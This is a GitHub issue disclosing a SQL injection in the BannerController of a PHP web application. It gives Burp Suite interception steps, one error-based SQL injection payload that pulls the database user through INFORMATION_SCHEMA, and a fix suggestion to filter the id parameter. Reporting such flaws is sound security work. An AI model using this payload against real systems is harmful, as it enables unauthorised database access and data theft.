New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

\App\Manage\Controller\BannerController.class.php has SQLinjection #10

Open

vikt0r101 opened this issue Jan 19, 2022 · 0 comments

vikt0r101 commented Jan 19, 2022

\App\Manage\Controller\BannerController.class.php

Find where the file was uploaded
Use burpsuite to intercept requests, modify packets, and add payloads
Vulnerability analysis
poc:
5) AND (SELECT 5824 FROM(SELECT COUNT(*),CONCAT('[+]',(MID((IFNULL(CAST(user() AS NCHAR),0x20)),1,54)),'[+]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (3481=3481

source:

debugging process:
Repair suggestion
before executing the save() function, filter the id

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment